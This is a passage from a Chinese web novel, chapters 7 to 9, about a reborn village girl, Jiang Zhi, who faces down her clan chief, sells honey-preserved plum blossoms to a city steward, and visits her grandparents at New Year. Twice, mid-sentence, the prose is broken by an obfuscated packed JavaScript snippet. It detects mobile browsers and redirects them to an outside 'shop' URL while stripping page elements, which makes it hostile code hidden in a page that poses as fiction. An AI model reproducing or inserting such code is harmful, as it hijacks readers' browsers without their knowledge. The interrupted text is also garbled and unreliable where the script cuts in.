《市井蜜事手札（重生）》 7. 你算个什么货色 姜文贤的话音甫落，空气再度骤然凝固，院中众人皆巴巴地看着他。 姜克从也挑眼看向姜文贤，那双老眼微微眯起，里头翻涌着复杂的情绪，几分审度、几分恼怒、还有一丝不易察觉的忌惮。 姜文贤面上没有什么表情，此时被几十双眼睛盯着，他的目光也是平平。 要论出息，姜文贤在族侄这一辈里算排得上号的了。村里头能文识字的都少，黄土里能刨出个科考功名，着实不容易。可书读的越多，心肠就越冷，老话说负心多是读书人，村里人私下暗戳戳嚼舌头，说这茶和山不就有个现成的例子。 当年若没有姜氏邻里帮衬，不是族里这家借半升米、那家借几文钱，他寡母娘怎么可能供出个秀才老爷？ 可这姜文贤，偏只记得他寡母娘跪在人门槛前低声下气的难堪，半分不念到手的那些米粮来处。 这些年他几乎不回村，阖族祭祖也不到场，除了自家妹妹姜文柳，再难看到与其他族人有什么来往。明明在城里威望极盛的书院当先生，却从不举荐姜氏族中子弟入学，如同自逐出族似的。 偏偏就是这样一个冷情冷性、几乎断了根的姜文贤，今儿竟替林寡妇一家开腔。 姜克从的目光在姜文贤脸上逡巡，想从那张冷淡的面上找出一丝端倪。 姜文贤这些年对族中事务不闻不问，今日真要为林寡妇出头，还是借着这个由头另有图谋？ 他脑子里念头飞转，眼神阴一阵晴一阵。 终究是忌惮占了上风。 到底这姜文贤在城里书院当差，毕竟，刀剑杀人见血，笔杆子杀人不见血，这道理他懂。 “贤侄，”姜克从顿了片刻，喉结上下滚动了好几下，才吞下了滔天怒意，吐息缓缓道：“你平素不常回村，村里头这些琐碎事怕是不太清楚，林氏这一家子，向来有些......” “您说的是，兼听则明，偏听则暗，”姜文贤再次拱拱手，声音依旧温和，又像是在斟酌用词的分量：“我也只是听家里侄女叽叽喳喳讲了几句，永贵被砸的事，我们都不在场，未能亲见，但方才听这织丫头所言，条理清晰，倒不像个糊涂孩子，想来里头或有内情，未可轻断。” “她家能有什么内情——”姜永贵抢话。 “这我确实不清楚，”他话锋一转，目光扫过院里众人，又道：“想来在场的诸位叔伯婶娘，也多数未必都清楚。不过既是要行族规，总该先把前因后果问个明白。这丫头人小性子却烈，以免她意气用事，真跑去敲什么登闻鼓，到底伤的是族里体面。” 话说得客气周全，院里站着的人看了这么久的戏，话里的弦外之音也都听明白了。 姜文贤不清楚，大伙儿不清楚，难道族长就一清二楚？林移桃再要强、再泼辣，那日分了槽头肉气不过，也不过是宁肯自己往祠堂石柱上撞，没说要提刀跟谁拼命。织三丫头一个还没及笄的小姑娘，平日里看着还算文静规矩，何至于忽然就喊打喊杀，连登闻鼓都搬出来了。 这么多年处下来，平心而论，林移桃是掐尖要强、不肯吃亏的主，可要说她家无缘无故惹是生非、主动挑衅伤人，这话摸着良心，真说不出口。 再说姜永贵是什么人？织三丫骂他“族豪”，这词儿新鲜，可不少人听了却忍不住暗暗点头，确实贴切。可不就跟那些乡里豪强、地头蛇似的？他家三兄弟，老大在镖局走南闯北，老二在县城铺子里当二掌柜，他在族里管着事有头有脸，又是族长侄儿，村里哪户人家见了不让他三分？寻常谁敢轻易招惹？除非织三丫真撞坏了脑子，失了心智。 这么细细一想，今儿这出你方唱罢我登场的闹剧，吵吵嚷嚷闹到喊打喊杀、要捆人动族规的地步，竟从头到尾没人认真听三丫头到底有什么苦衷？许是他们心里也都门儿清，只是一个小丫头的话，谁管你有什么苦衷？这村里家家人都有本难念的经，又有哪户人家还没点苦楚？ 只是那族长克从佬儿，平日里总把公平公正挂在嘴边，视全族如一家，一视同仁。可方才一上来，他不问青红皂白就要扇林寡妇耳光立威。 难道他在场亲眼看着了？他有细问过情由吗？真就那般公平公正吗？ 若是寻常族里其他人跟他那房起了冲突，不管内里有什么弯弯绕绕，只要得罪了他家的人，一告到族长那儿，动辄捆祠堂、动族规，这和敲登闻鼓有什么两样？人家敲登闻鼓还有青天大老爷升堂，容告状的陈情辩白呢！ 这般想来，织三丫头骂姜永贵族豪，确是骂到根子上了。人群里嗡嗡的议论声渐渐大了起来，那些看向族长和几位族老的眼神，悄悄多了几分打量。 “十文！”姜季福大族老的亲儿，在村里素来颇有威望，他拧着眉头细咂摸半晌，忽地沉声喝问自家侄儿：“你不是跟永贵一道来的？你来说说，到底怎么回事。” 姜十文被点了名，顿时感觉头皮发麻，手脚都不知该往哪儿搁。他要怎么说？说自己跟在永贵哥后头，还没踏进屋门就被砸蒙了，什么也没瞧见？ 可若真这么说，岂不是把林婶儿一架在火上烤？姜十文心里权衡了一刻，他不想当那为虎作伥爪牙，不能昧着良心乱说话。 “我，我也不太清楚具体怎么回事，”他语气磕磕巴巴，面上为难：“只听方才织织妹妹说，好像是因为在杀猪场，那天，永贵哥可能，无意间绊了、或是推了她娘俩一把，害得她摔破了头。所以今儿我们来，织织妹妹许是误会了什么，加上刚醒，人还糊涂着，就...就...” 杀猪场，还是杀猪场。 绕来绕去，所以根源还是在为了没挣到那口肉！ 姜克从气得一声冷笑，正要出声，却被姜文贤抢先问：“所以永贵，你当日可曾无意间推了林婶儿母女？” 他语气放的温和，话却不软。 姜永贵胸口顿时一阵剧烈起伏，拳头攥的死紧，额头上青筋凸起，“那丫头满口胡话也能信？谁推她了！她自己撞上去的，现在来赖谁？” 窦氏也在一旁帮腔，嗓音刺耳：“她红口白牙说是就是？证据呢？想污蔑谁呢！” “我差点被撞得没命，我九死一生活过来了，我亲自指认你害得我，我就是活的证据！”姜织适时站出来，上前一步，瘦的身子挺得笔直，声量陡然拔高：“衙门里的青天大老爷断案，尚且采信苦主口供为证。你们还要什么证据？！” “难道杀人放火、打家劫舍的恶行，只要没被旁人亲眼看见，哪怕是在青天白日之下干的，哪怕苦主浑身是伤、站出来喊冤，都要当头被问一句：‘你有什么证据？’苦主本人不算证据？身上实实在在的伤不算证据？非得有个不相干的旁人恰好瞧见、且肯站出来拍胸脯作证，说‘火是他放的’‘伤是他打的’，不然就是胡说八道、就是凭空污蔑，是吗？！” 她顿了顿，目光锐利如刀，扫过窦氏气急憋红的脸。 “哦对了，照你这套理儿，就算有证人也不算数！万一那证人存了私心呢？万一跟苦主有交情呢？那说出来的话又能算什么证据？所以啊，天底下所有的罪，都得在光天化日、众目睽睽、几十双眼睛盯着之下犯，才叫有证据！你怎不去县衙跟那些青天大老爷好好说道说道，说他们这些年全都断错了案，只要不是所有人都亲眼瞧见的，就都是假的！都是证据不足！都是凭空污蔑！” 那姜织一番话又急又利，偏偏条理分明，字字句句头头是道，抑扬顿挫间竟带着一股逼人的气势。 “你放什么狗屁！”窦氏被她这一连串的话绕得头晕脑胀，恼羞成怒，唾沫星子飞溅，“你算个什么货色！那日场上那么多人，我家永贵何必推你？你也配！” “他姜永贵又算什么货色！”姜织分毫不让，声音清亮，“场上那么多人，若不是真有这事，我何苦单 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这织三丫头往日瞧着只是有点小机灵，说话也细声细气，只当是个闷倔的。谁承想今日这一辩，才发觉内里藏着一肚子货。口齿这般厉害，句句捅在要害上，哪像个未及笄没出过村的小姑娘？ 村里头众人哪怕不懂那些律例条文、大道理，可听着听着，心里却暗自点头，是这么个理儿啊。被人打了，自己站出来指认，还要什么旁证？若这样都不算，那以后受了欺辱，岂不是叫天天不应，叫地地不灵？ 就像织三丫说的，姜永贵随手打了人，哪怕告到族长那儿也没用，没证据啊。哪怕自家人在旁边看着了又如何？你是他亲人，说的话谁能信？肯定偏帮他！ “还有没有公平，有没有天理王法了.....”人群里不知道谁低低说了这么句，院里头众人也闷着声儿，没人再开口打圆场。 姜克从和几个族老的脸色，一点点泛白，甚至有几个额角竟渗出细密的汗，想要辩白什么又忍下声。 “其实...其实，”人群里又冒出个细细的、怯生生的声音，像蚊蚋哼哼，“我那天...瞧见永贵哥踩了...踹了桃婶儿几脚......” 是后山脚下住的杨卉儿。她家姓杨，是外姓，本没资格分族里的猪肉，那日远远看着杀猪场吵吵闹闹，小姑娘心性好动，好奇便溜去看热闹了。 谁知一去，就远远撞见姜永贵朝跌倒在地的桃婶儿踹了几脚，边踹还边咧着嘴笑，像是好玩儿似的。 杨卉儿脊背发寒，回去后连着几夜做噩梦，跟爹娘都不敢细说。 可今日眼见桃婶儿一家今日被逼到这般地步，她缩在人群后头，手指绞着衣角，终究还是弱弱地补了一句，声音小的淹进了人堆里。 但人群仍是“唰”地一下将目光都转向她。杨卉儿只觉着血气“轰”地涌上脸，烧得发烫，姜永贵盯过来的眼神像要活生生吞了她，她下意识死低着头，盯着自己磨破的鞋尖，不敢再多说。 杨卉儿是外姓，跟林移桃非亲非故，平素也无多少往来，也没见跟姜织玩过。她的话没有偏帮的嫌疑，很有可信度了。 “永贵！”姜季福脸色难看至极，厉声喝道，眉毛胡子一道颤：“你为何踹你桃婶儿？！” “他早就看我娘不顺眼了，早就在找茬了！”林移桃没接口，姜绪先一步从娘身后挣扎出来，小脸涨得通红，豁出去似的喊：“上次我跟我娘在江边洗衣裳，挑水回来时木桶晃，他故意从我娘面前过，撞了我娘一下狠的，害的我娘衣裳都打湿了，他却冤枉我娘溅湿了他的鞋！就为这点事，追着我娘骂了一路！都要到我家里来了！” “绪儿！”林移桃急喝一声，想拦住儿子。 可话一经出口，落在众人耳边，院子里“哗啦”一下，彻底炸开了锅。 众人神色各异，议论声四面八方涌来，有窃窃私语的，有惊叹感慨的，也有说不清道不明的别的一些.... 今儿这一出戏，真真是连镇上最好的戏班子都唱不出这般曲折精彩的。 8. 寒梅蜜饯 姜永贵脸色跟打翻酱油铺似的，黑得能滴出墨来。 窦氏更是气得浑身直抖，她心里也明白，不管自家永贵推没推姜织、踹没踹林移桃，今儿这盆脏水，无论如何是泼在他们头上了。 不单单是“推了三丫头”这一桩，还有些别的，今后必将会藏在闲话底下的腌臜揣度。 比如，觊觎寡妇。 连跟她一向要好的卢婶儿几个，此刻投过来的目光都透着欲言又止、一言难尽。 窦氏脸皮一阵冷一阵热地生疼。她心里尤在想，今儿不把这盆脏水狠狠扣回去、将林寡妇一家踩进泥里，那今后在茶和山，她真是没有脸面可言了。 “娘！”恰在这时，路那头远远传来一声喊，急切中带着些慌：“娘！怎么了？” 是林移桃的大儿，姜犁回来了。他身旁还跟着个牵马的青年，枣红色的高头大马，皮毛油亮，在这村间土路上显得格外扎眼。 姜犁三步并作两步冲回家门口，他远远就见自己家里三层外三层围满了人，心中腾起股不妙。 走近了，才发现连族长族老都来了。众人神色各异，族长姜克从板着脸，几个族老看着面色不虞，围观的叔伯婶娘或忧心或急切，还有好些人都带着看热闹的戏谑...... 姜犁自然不会天真到以为这些人是来探望他受伤的妹妹。 他压下心头惊疑，先朝姜克从拱手行了个礼：“族长。” 又转向一旁静立的姜文贤，微微躬身，语气里带着敬重：“文贤叔。” 姜文贤略一颔首，神色淡淡。 “哥哥！”姜纭和姜绪眼圈通红，带着哭音喊他。 “这是怎么了？”姜犁愣愣地看向他娘，又望向他舅舅林移山。可场上无人应声，只余一片让人不安的静默。 姜织抿紧了嘴唇，死死盯着姜克从。她在等，等这位族长开口，各番人证之下，还能如何为自家侄儿偏袒！ 姜克从面罩寒霜，不经意间狠狠盯了姜永贵一眼，见姜犁回来了，反而似松了口气般，克制了面上的神色。目光指向与姜犁同行而来的人，转了个话头：“犁耙回来了啊，那位是？” “是城里周府的周主事，”姜犁连忙介绍。 “城里周家”四字一出，院里顿时又是一片压抑的惊叹。那可是真正的富贵权势人家，还牵着高头大马来，马匹可不是寻常人家使得起的。 只见那人将马拴在院外的老槐树下后，正缓步走进来，青年约莫二十出头，身量瘦高，眉眼活泛，瞧着像是常在外走动、见过世面的人。 他走近后，向着族长微微点了点头，并未开口打招呼。 “原来是周管事，”姜克从朝着青年拱手：“不知来我茶和山有何事？” “姜犁在主家做事勤恳踏实，眼下年关，特命小子前来探望姜家伯母，也是勉励他这一年的辛苦，”青年面色自若，温声道。 这声之下，众人看向姜犁的眼神就有些变了，不是说犁耙在城里做的是最下等的工匠活计吗？何时攀上了这样的体面？ 姜克从听出这青年是有意抬举姜犁，脑子里便飞快盘算起来。 前有姜文贤出口相护，后有周家管事亲自登门探望，往日竟是小瞧了这林寡妇家。 姜克从又想起桩事，自家婆娘提过，林移桃家二女姜纭，正与落雁村童生李家在议亲，那也是读书种子，万一将来也考取功名...... 姜克从心里打起鼓来，一时竟不知如何接腔。 “误会，都是误会，”还是姜季福硬着头皮开了口。 他常在外走动，最是知道南州城周家势大，即便是府中一个得脸的管事，也比寻常乡绅体面。 “前些日子永贵不小心犯了浑，今日原是来跟你家赔罪的。哪知织丫头刚醒，人还迷糊着，也没给永贵好果子吃，”他对着姜犁干笑了两声，又转向姜永贵，语气陡然转厉：“永贵，是不是这么回事？！” 姜克从也回过味来，朝姜永贵使了个眼色，呵斥道：“那日分肉场上众人手忙脚乱，让你去帮忙的，不是叫你去添乱子的！你自己说说，怎么就踩了人，又绊倒了人？” “我.....我....”姜永贵面色“唰”地一下惨白。他此刻是真慌了，族长这话，已把过错全数推到他头上。 尽管语气放得轻描淡写，可他该如何接？趁机踹了林移桃几脚泄愤是真，但推姜织，他真不记得了，当时那么多人挤的挤推的推，他哪里顾得上去推那小丫头片子。可这当口，族长和季福叔已递了梯子，就算他再不情愿，也只能顺着往下爬。 “是.....是.....”姜永贵磕磕绊绊，目光不定，“那日人多，手忙脚乱，我......我是昏了头了。” “还不快跟你桃婶儿织妹妹赔罪！”姜季福又是一声厉喝。 姜永贵浑身一哆嗦，硬着头皮，像被人掐住喉咙似的，从牙缝里挤出声音：“桃......婶儿......织......织妹妹......冒、冒犯了。” “好生道歉！”姜季福瞪他一眼。 “对，对不住！”姜永贵猛地一低头，话出口后再说不出半个字。窦氏在他身侧，脸涨得通红，只恨不能拔腿就走。 姜季福又来当和事佬，说了好些安慰林移桃的话，村里人也七嘴八舌说道起姜永贵。 一场险些闹出人命的风波，杀人未遂的指控，就被这样轻拿轻放按下了。 “十文，你去将桃婶儿家的鱼拿过来，”姜季福见姜织始终绷着脸不表态，看了看族长，又一咬牙：“拿两条！织丫头绪儿两个人全年都辛苦了。” 姜十文如蒙大赦，响亮地应了一声，一溜烟跑去祠堂取鱼了。 “散了！都散了！”姜季福朝围观人群挥手，“大过年的，不回家张罗团圆饭，挤在这儿看什么热闹！” “那我也告辞了，”姜文贤朝姜克从略一拱手。 “我送送你，”姜克从忍下心头郁气，顺势道。待族长、族老一行人先行离去，围观人群也三两两地散了，也有边走边窃窃私语，不时回头张望的。 院子里霎时空了下来，一切仿佛又回到了往常。可明眼人都知道，有些东西，从今日起也许悄悄不一样了。 “织织儿！”林移桃终于一把抢过女儿的砍柴刀，扑在她身上嚎啕大哭，这一次，哭声却是劫后余生的宣泄。 因着还有外客在，一家人哭了一阵便强自收了声。 林移桃抹去满脸泪痕，整了整衣衫，看向周小楼，歉然道：“让您见笑了。” “娘，周管事来是为一点小事，”姜犁凑在林移桃耳边轻声解释。 来人叫周小楼，是周府的家生子。平日负责府中花草采买、宴客布置等一应外务，因常与各色商户打交道，在外头颇有些颜面。他此番随姜犁回来，是为私事。 原来，林移桃有一门独到的手艺，蜜渍各样花果，这还是姜顺时在世时，夫妻俩一道琢磨出来的。 姜顺时除了伺弄庄稼，还会养上几箱土蜂，割了蜜挑到城里换些油盐钱。 有时蜜质不匀，卖相不好，人家不肯收，便留给自家人吃。林移桃想着法子，将蜜和时令果子渍在一处，做成蜜饯，给几个眼巴巴的孩子解嘴馋。 自打他过了世，家里饭都吃不饱，哪还有闲心做零嘴。可林移桃到底不忍心，振作起来后，还是像他爹在时一样，到了割蜜的时节就想法子割些蜜，渍些野果蜜饯给孩子吃。 几月前，听说城里周府在修缮屋宅，需要招募不少工匠。 城里富贵人家一松手，指缝尖落下的都够穷人欢天喜地。 姜犁经人介绍，去周家谋了个作木匠的好差事。林移桃为答谢那位引荐他去周家做活的小管事，特地精挑细选了一罐蜜渍果子，这也是家里头能拿出来的最好的东西了。 姜犁带去的那罐蜜渍南烛，村里人俗称乌饭果，黑溜溜的小果子，用野蜂蜜浸得透亮。那管事年纪大了，吃不动。索性让姜犁分给同院几个年轻帮工吃，周小楼是负责管着这帮子花木工匠的，众人当然头一个邀请他吃。 周小楼起初并没在意，农家零嘴罢了，但没想到几个年轻帮工争先恐后抢着尝了，都嚷着“好吃”“爽口”。周小楼好奇拈了一颗送入嘴中，竟与铺面上卖的甜腻蜜饯不同，野蜜的清润裹着果子的微酸，回味里有一缕山野草木的清香气，便夸了句的确不错。 林移桃听说城里管事肯吃自己做的东西，不多时又上山寻了些野蜜，渍了第二批。 姜犁在与众人做活后不经意提起，“要说蜜饯，我两个妹妹渍的寒梅蜜饯，那才是真的一绝”。 这寒梅蜜饯，至少得准备一年，所谓是冬日采梅，春日用蜜，夏日封瓮，至秋冬再开品。 “须得腊月里，精挑细选拣那半开未开、花萼紧实的绿萼梅，花瓣要挑雪白的，萼托正是淡绿，趁着香气最清冽时候采回，采了后，铺在细竹筛上，白日里晒足日头，夜晚承接露水，需得九晒九露，才能褪了生涩口感。” “晒干后，我家妹妹再以百花春蜜层层浸渍，封入陶瓮，埋进地窖。静候一月有余，待梅瓣吸饱蜜糖，又添一层蜜汁，再入瓮窖藏三月。开瓮时，就能看见梅香透蜜，入口先觉清甜，细嚼又带酸甜，咽下后喉咙间有些清凉，酸甜久久不散”。 姜犁平素是个闷葫芦，可说起这蜜渍寒梅，竟头头是道，眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16956516|193146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里都有了光。听的人啧啧称奇，恨不得立时让他取来尝尝。 姜犁又是木讷模样，摇头说：“家里每年只做一罐，是我两个妹妹从年头盼到年尾的，只等过年开封尝尝味。”众人听了只能失望叹息。 后来姜犁将这事当闲话讲给妹妹姜织听，姜织却骂他榆木脑袋。暗地里给他出主意，让他悄悄装一小罐寒梅蜜饯，单独送给那管事周小楼，既是独一份的敬意，也是份人情，姜织展望：“哥哥讨好了管事，这份差事若是能长久做下去，到时哪样的蜜饯买不起？” 因家中幼妹好甜食，那一小罐寒梅蜜渍被周小楼带回了家。没成想幼妹尝过后赞口不绝，整日追着他问哪家铺子买的，缠着要再吃。 周家小妹正是活泼受宠的年纪，周小楼被她闹了几回，只得闲时问姜犁可还有余的，姜犁想起妹妹的叮嘱，不敢一口回绝，只说回家问问。 周小楼思量着，索性趁年节得空，亲自走一趟姜家，若能买上一罐妹妹心心念念的蜜饯给她当年礼，妹妹不得喜笑颜开。 他本是一时兴起，又觉路程不远，便随姜犁同来了，哪知一到，就撞上这么一场闹剧。 得知周小楼的来意，姜织哪有不肯的？她心知，今日那姜克从肯这样轻易低头，也有周管事的一份大助力。 这世道，不过是地头蛇压平头户，权势前富贵也得让三分罢了。 她寻出自家的粗陶小罐，仔细擦拭干净，将窖藏的寒梅蜜饯满满装了一罐，罐口蒙上红纸，以细麻绳扎紧，捧给周小楼。 周小楼要付钱，姜织死活不肯收，人情贵比千金。周小楼瞧着这姜家家境，不容分说将一钱碎银子放在桌案上，头也不回上马扬鞭而去。 “这年轻主事，当真体面客气，”林移桃叹一口气：“周家也真是不错，大户人家仁善。” 说着又叮嘱姜犁要感念主家恩情、踏实做活云云。 听得她娘的细声念念，姜织没来由心底一慌。不是的，她想反驳她娘，周家不是—— 可脑子里突然嗡嗡作响，像有无数细针在钻，一阵天旋地转，姜织眼前骤然一黑，又晕了过去。 毕竟重伤初醒，又经历这一场唇枪舌战、喊打喊杀的折腾，铁打的人也撑不住。 姜家顿时又乱作一团。 好在探她呼吸平稳，脉搏虽弱却无大碍，许是心力交瘁，昏睡过去了。可今夜已是年三十，林移山无论如何得赶回林岭村自家过年，他自家也有老小要团圆，他匆匆叮嘱妹妹几句，踏着暮色走了。 姜织这一睡，竟睡了将近一天一夜。再睁眼时，窗外天色昏黄，已是正月初一的傍晚。 这个年，姜家过得格外凄清。除了相熟的柳婶儿、花婶子几家来拜了年，村里那些后生，除了姜十文带着他堂兄弟姜文华来过一趟，其余人竟无一人登门。 按茶和山往年规矩，大年初一，族里年轻一辈的后生要结队挨家挨户拜年，寓意人丁兴旺、血脉绵长，也是族亲和睦的象征。年年打头的都是姜克从两个儿子，长子姜尧生、次子姜良生，紧随其后的便是姜永贵三兄弟。队伍齐整，笑语喧哗，是年节里最热闹的事儿。 今年依旧成队，只是队伍松散了许多，后生们三三两两跟着，不再像往年那般规规矩矩排成行。路过林移桃家门口时，姜尧生兄弟脚步一顿，朝众人道：“听说织妹妹又犯晕了，正养着病，咱们就别去叨扰了罢。” 说罢带头绕了过去，竟也没叫上姜犁同行去拜年。 后头跟着的人面面相觑，犹豫片刻，也默默跟了上去。 姜十文和他堂兄弟姜文华心下过意不去，待随着大流拜完一轮后，又特地折返，单独到林移桃家中拜了一回年。再就是奚银花等几个与姜织交好的女孩子，结伴来探了一回病。 待姜织晚间彻底清醒，听弟弟姜绪闷闷不乐地说了这些事，一家人都明白，新年当头一个下马威，不来拜年，是要明晃晃的排挤与孤立他们家。 “不来便不来吧，”林移桃语气刻意放的轻松，“往年他们来，咱家也拿不出什么像样东西待客，也不过是问候几声，粗茶都不来喝一盏。” 她转身从柜底抱出几只小陶瓮，揭开盖子，甜香顿时溢了满屋，“咱们自己过好自己的日子。” 林移桃将压箱底的蜜饯都拿出来。糖桂花金黄剔透，蜜渍南烛乌亮莹润，秋柿饼结着雪白糖霜...... 姜织姐弟顿时口水止不住的咽！都是往日吃不着的稀罕物。 一家人围坐着，就着烧得亮堂的柴火光亮，热融融暖烘烘，你一块蜜饯我一口柿饼，甜滋滋的滋味在舌尖化开，姜织眼眶没由来一阵热，再苦再难，此刻都能叫这口甜压下去。 9. 炸果子 初二回门，家和业兴。 大年初二晨曦微亮，林移桃就起床忙活了，脚步不停地在张罗着要带回娘家林岭村的年礼。 南州有“正月初二回娘家，两手不空福满家”的习俗。嫁出去的女儿，就算日子再紧巴，这天也得带些年礼回门。嫁得好些的，提的自然是各色精致点心、鸡鸭鱼肉，甚至簇新的棉衣好鞋等等。家里光景一般的，也要备上一壶烧酒、一块米糖，或是一包细面，都是心意，也关系着娘家爹娘在村邻跟前的颜面。 姜织见她娘将家底都搬出来清点了。 家里最能拿得出手的，无非就是族里分的那些，三斤槽头肉、一副生肺、两条草鱼、十五个糍粑，以及姜织撞破脑袋的补偿，姜永贵送来的一斤五花肉。 在旁人看来，族里能分这些稀罕东西，那是烧香拜佛才求来的照应。但姜织细一回想，这笔账并不划算。 茶和山的田地早年就合在一处，按人丁分到各户，余下的充作族田公山，人丁劳力，必须优先替族里干完活，才能伺候自家的那些田地。 田地已经许多年没有重新丈量分配了。姜织家的两亩五分地，还是从曾祖父手里传下来的。据老一辈说，姜织家的曾祖父尤其勤劳善农，赶上朝廷鼓励开荒占地的好时候，在曾祖父手头上，姜家的田地达五六十亩之多。到了祖父一代，四兄弟分家过日子，每人分得的家产，也有十多亩田土，日子还能有声有色。但再往下，又是每家生了三四个兄弟，分到姜织父亲这一辈，每家手里就只剩几亩的田地了。 田地没增加，粮食产量没增长，人丁却开枝散叶，一代比一代兴旺，如若不往外头寻些出路，可不是一代比一代日子不好过。 这个道理，是姜织很多年后才悟出来的。此时此刻，姜氏族人皆还以“族亲和睦、拧成一根绳”为荣，外姓人也着实眼红姜氏族堂每到年节就分东西的好处。 因此姜克从这个族长当得尤其威风，连里长见了他都要称兄道弟，他说一句要将谁家逐出族谱，是真能吓破那家人的胆。 但只有姜织知道，用不着几年，茶和山就会面目全非。正凝神思虑间，耳边却听得她母亲在轻声盘算—— “鱼得留下来给织织补身子，肉就分两份，落雁村那边也得顾及到，”林移桃边点数边念叨。 落雁村，这个村名落在姜织耳边时，她头皮一炸，半晌没反应过来。 “年头一过，纭儿又长一岁，”林移桃兀自嘀咕：“无论如何今年必须将这件事定下来，不能再这么不明不白拖着了。” 姜织终于想起来了，落雁村，是姐姐姜纭前世所嫁之地。 “不行——”熟悉的刺痛遽然钻进脑仁，“嗡”的一声，眼前阵阵发黑，姜织揉着太阳穴，用力晃着脑袋，勉强出口：“不行！那李家并非良配。” 原本两颊还带着些羞涩的姜纭在听见妹妹的话后，脸色顿时黯了黯，她又何尝不知道自己和那李生并不十分般配，只不过这方圆附近，哪里还能寻到那般品貌端正、读书上进的好儿郎呢，正因如此，这么多年她才费心费力争取周旋。 “怎么就不行！”林移桃也不肯服输，这几年多少冷嘲热讽都捱过来了，那李生今年就要下场科考，功名在即了，怎么可能叫她再放弃这眼看到手的“贵婿”，纭姐儿这么多年的辛苦，日子就要见到天光了。 “难道他李家还想背信弃义不认了不成？等过了节，叫上你舅舅，必须去李家将这件事提上日程。” 嗡鸣声仍在持续加大，一股莫名的、铺天盖地的悲怆涌上姜织的心头。又是这样，就像她那天想告诉母亲“城里周府不是仁善富贵人家”一样，她潜意识里拼命想喊出“李文远并非良配”，但剧痛却在侵蚀她的记忆力，像是天道在阻挠她干涉他人命运般。那些原本清晰地画面、刻骨铭心的记忆，瞬间变得模糊不清，只余下一点隐约的直觉：那些人，不是好人。 “娘，你先别急，”大哥姜犁出声打圆场：“这回我陪妹妹先去探探那边的口风再说。” 喜庆的日子林移桃自然也不愿败兴，又重新打起精神，笑着安排起年礼来。姜织亦不忍心再开口扫家人的兴，只能在心里暗叹，慢慢想、慢慢来吧。 五个糍粑并一斤精肉，用洗净的芭蕉叶仔细包好，算作一份，由姜犁和姜纭送去落雁村。 而外翁这边，林移桃咬咬牙，砍了半边鱼、半副生肺，再搭上一斤槽头肉包了一并提着，她带着姜织姜绪姐弟，先一步往娘家林岭村去。 茶和山和林岭村虽说是毗邻，中间却隔了一长段官道、几座大山，走起来十分辛苦，但是去外翁家，总是姜织姐弟最期盼的事情。 外翁家虽说也清贫，但舅舅舅妈多少会置办些年货，林家二老心疼外孙，总是会将最好的吃食摆出来，还会把自己攒的口粮偷偷塞些给姐弟俩。 姜织已经很多年没踏进外翁家的门了，想起外翁阿婆慈祥的面容，她的眼眶不由得有些发热。 到了外翁家所在的村口，阿婆早早就在门口张望着，远远瞧见女儿一家的身影，忙不迭地招手，边喊着边颤颤巍巍来迎接。 姜织姐弟也高兴地挥手大喊阿婆。 接到人之后，阿婆搂着姜织姐弟，嘴里孙儿宝儿喊着不停，这样一路往家走，沿路村里人见了，都会热络地打招呼。 “桃姐儿回来了啊！” “哟，这是桃姐儿家的三闺女吧，都出落成俏姑娘了！” “这是那四小子吧，瞧这虎头虎脑，将来定是个有出息的。” 阿婆一手搂着一个孙儿，林移桃手上提着年礼，嫁女回门，手上既提着鱼又有肉，面上也有光彩。 若是两手空空回来，就这么连路明里暗里的打量，就算旁人嘴上不说，但嫁了人的姑娘家自己心里都臊得慌。 到家之后，姜织姐弟乖巧地一一给外翁阿婆、舅舅舅母拜了年，又是热闹的一阵见礼，舅母廖氏面色也算客气，端了茶水、摆上果碟，招呼姜家母子落座。 在姜织的记忆里，舅舅家每年过年都要煎油豆腐，那豆腐在油里滚得金黄，外酥里嫩，软陶陶可好吃，还要熬糖，饴糖可香甜，还有瓜子果儿，阿婆攒了一年的南瓜子儿，都炒得香喷喷，就留着等姐弟去吃.... 眼下一看，林家的日子也过得紧巴巴，桌子上就摆了一盘炒米、一盘炒南瓜子、一盘子炸果子，以及一整块硬邦邦的黄糖。 老两口许久未见女儿，有说不完的话。小孩们就端着苦茶水在喝，桌子上的东西分量都不足，姜织姐弟对视一眼，也不敢伸手去拿。 她舅舅林移山性子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16956517|193146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本就再憨实不过，他见姜织姐弟俩瘦骨嶙峋，又目光怯怯不敢拿东西吃，内心也是难过，暗中一咬牙，伸手就给姐弟俩一人抓了一把糖果子，又要去敲碎那块黄糖。 “咳咳咳！”正端了粗米饭来待客的舅母廖氏眼疾口快地大声咳了两句。林移山手一抖，便改为抓向炒米，又给姜织姜犁一人分了一把。 舅舅家的炸果子是自己做的，用的糯米球裹了红糖，下锅炸的金黄，又香又甜，姜织才吃了一个，就发觉她表姐林花树在偷偷盯着她看。 舅舅林移山生了两个儿子，一个小女儿。 大儿子林柏茂，年纪和姜织的大哥姜犁相仿，按新年算已经二十了。 二女儿叫林花树，也是同姜织差不多的年纪，还比姜织大了五个月。最小的儿子叫林松茂，比姜绪小了一岁。 此刻林花树姐弟皆眼巴巴盯着姜织姐弟手上的炸果子。 家里就做了这么点子，待客都不够用，阿娘再三叮嘱了，不许嘴馋抓了吃。 姜织到底不是不经事的年纪，默默嚼了一颗糖果子后，便将手里剩的果子和炒米，分了一半递给了林花树姐弟，目光又瞥向那块黄糖。 那是一整块的硬黄糖，是摆在桌上，给来拜年的客人看的，谁也不敢真去掰碎了吃。 